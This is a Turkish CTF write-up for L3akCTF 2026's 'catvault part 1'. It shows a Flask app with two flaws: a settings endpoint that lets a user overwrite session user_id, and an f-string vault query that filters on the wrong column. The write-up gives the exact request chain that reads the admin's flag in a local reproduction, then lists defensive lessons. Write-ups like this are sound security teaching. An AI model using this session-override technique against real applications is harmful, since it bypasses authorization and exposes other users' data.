L3akCTF 2026 — catvault part 1 Çözümü

Yalnızca kendi sırlarını okuttuğunu iddia eden bir kasa; ta ki settings uç noktası oturumdaki user_id'yi ezmeye ve vault sorgusu yanlış kolona göre filtrelemeye izin verene kadar.

3 dk okuma
ibrahimsql
541 kelime

L3akCTF 2026 — catvault (bölüm 1)

Sırlarını sakladığın bir "kedi kasası"; sayfa da sana "kimsenin senin kasandaki sırları görmesi impawssible" diye söz veriyor. İki küçük kusur bu sözü yalana çeviriyor: kendi oturumundaki user_id'yi ezmene izin veren bir settings uç noktası ve yanlış kolona göre filtreleyen bir vault sorgusu. İkisi birlikte, bayrağı taşıyan admin kaydını okumamızı sağlıyor.

Kapsam: yalnızca yerel reprodüksiyon. Challenge kaynağı CTF arşivinde açık; hiçbir dış sisteme dokunulmadı.

1. Kaynağı okumak

Flask uygulaması, MariaDB arka ucu, sha256 parola özeti. Bariz enjeksiyon noktaları temiz — login ve register parametrik sorgu kullanıyor:

Python
# db.py
def login(username, password):
    cursor.execute("SELECT id, name, password FROM users WHERE name = ? AND password = ?;",
                   (username, sha256(password).digest().hex()))

Oturum çerezi her açılışta rastgele üretilen bir anahtarla imzalanıyor (app.secret_key = random.randbytes(32)), yani çerez uydurmak söz konusu değil. Ama iki yer o kadar dikkatli değil.

Vault okuma sorgusunu f-string ile kuruyor ve yanlış kolona göre filtreliyor:

Python
# db.py
def get_vault_entries(user_id):
    cursor.execute(f"SELECT id, content FROM vault WHERE id = {user_id};")   # `user_id` değil, `id`
    return [i for i in cursor]

Settings uç noktası ise gelen her anahtarı oturuma yazıyor; yalnız alt çizgi ile başlayan anahtarları ve string olmayan değerleri reddediyor:

Python
# app.py — POST /api/settings
for key, value in incoming.items():
    if not isinstance(key, str) or key.startswith("_") or not isinstance(value, str):
        continue
    session[key] = value          # `user_id` düz bir string -> izinli

user_id alt çizgi ile başlamıyor ve bir string, dolayısıyla doğrudan oturuma giriyor.

2. Zincir

Admin kurulumu bayrağı admin'in vault içeriği olarak ekliyor ve bu satır tablodaki ilk satır oluyor:

# db.py — create_admin()
cursor.execute("INSERT INTO users (name, password) VALUES ('admin', 'nologin');")
cursor.execute(f"INSERT INTO vault (user_id, content) VALUES ({cursor.lastrowid}, '{FLAG}');")

Yani admin'in vault satırı id = 1. Plan:

  1. Herhangi bir kullanıcı kaydet.
  2. POST /api/settings ile {"user_id": "1"} gönder — oturumdaki user_id ezilir.
  3. GET /vault — get_vault_entries("1") şunu çalıştırır: SELECT id, content FROM vault WHERE id = 1, ve admin'in satırını döndürür.

Sorgu user_id yerine vault birincil anahtarı id üzerinden filtrelediği için user_id'yi 1'e yöneltmek admin'in sırrını okumaya yetiyor. Değer ayrıca string olarak araya sokulduğu için zincirleme sorgu da mümkün — ama en kısa yol yanlış-kolon okuması.

3. Reprodüksiyon

Ortamda MariaDB sunucusu olmadığı için gerçek Flask uygulamasını app.test_client() ve db.py yerine geçen, SQL metnini birebir koruyan (hatalı f-string dahil) bir sqlite3 taklidiyle sürdüm. Bayrak, orijinaldeki gibi FLAG ortam değişkeninden geldi:

Text
register -> 302 /vault
vault(before) contains flag: False
POST /api/settings -> 200 {'ok': True, 'saved': {'theme': 'dark', 'user_id': '1'}}
vault(after) flag: L3AK{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}

Sunucunun ikinci vault yüklemesinde gerçekte çalıştırdığı ifade ve döndürdüğü satır:

SQL: SELECT id, content FROM vault WHERE id = 1;
rows: [(1, 'L3AK{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}')]

Not: arşivdeki flag.txt içeriği bilinçli bir tuzak (...to_waste_your_time_if_youre_using_an_llm); bölüm 1 için gerçek bayrak admin'in vault kaydıdır (FLAG ortam değişkeni), o dosya değil.

4. Bayrak ve dersler

Yerel taklit bayrak, gerçeğin okunduğu yöntemin aynısıyla okundu:

L3AK{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}

Dersler:

  • İstek verisinin ayrılmış oturum anahtarlarını yazmasına izin verme. Alt çizgi engeli yerine, yazılabilir anahtarların izin listesi doğru yaklaşımdır.
  • Sorgu, sahipliği taşıyan kolona göre filtrelemelidir (user_id), asla global otomatik artan id'ye göre değil. Buradaki tek kelimelik hata bir yetki atlatmasıdır.
  • Değerler "oturumdan geliyor" diye yine de parametrelendirilmeli — o oturum alanı bir adım önce saldırganın kontrolündeydi.
---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar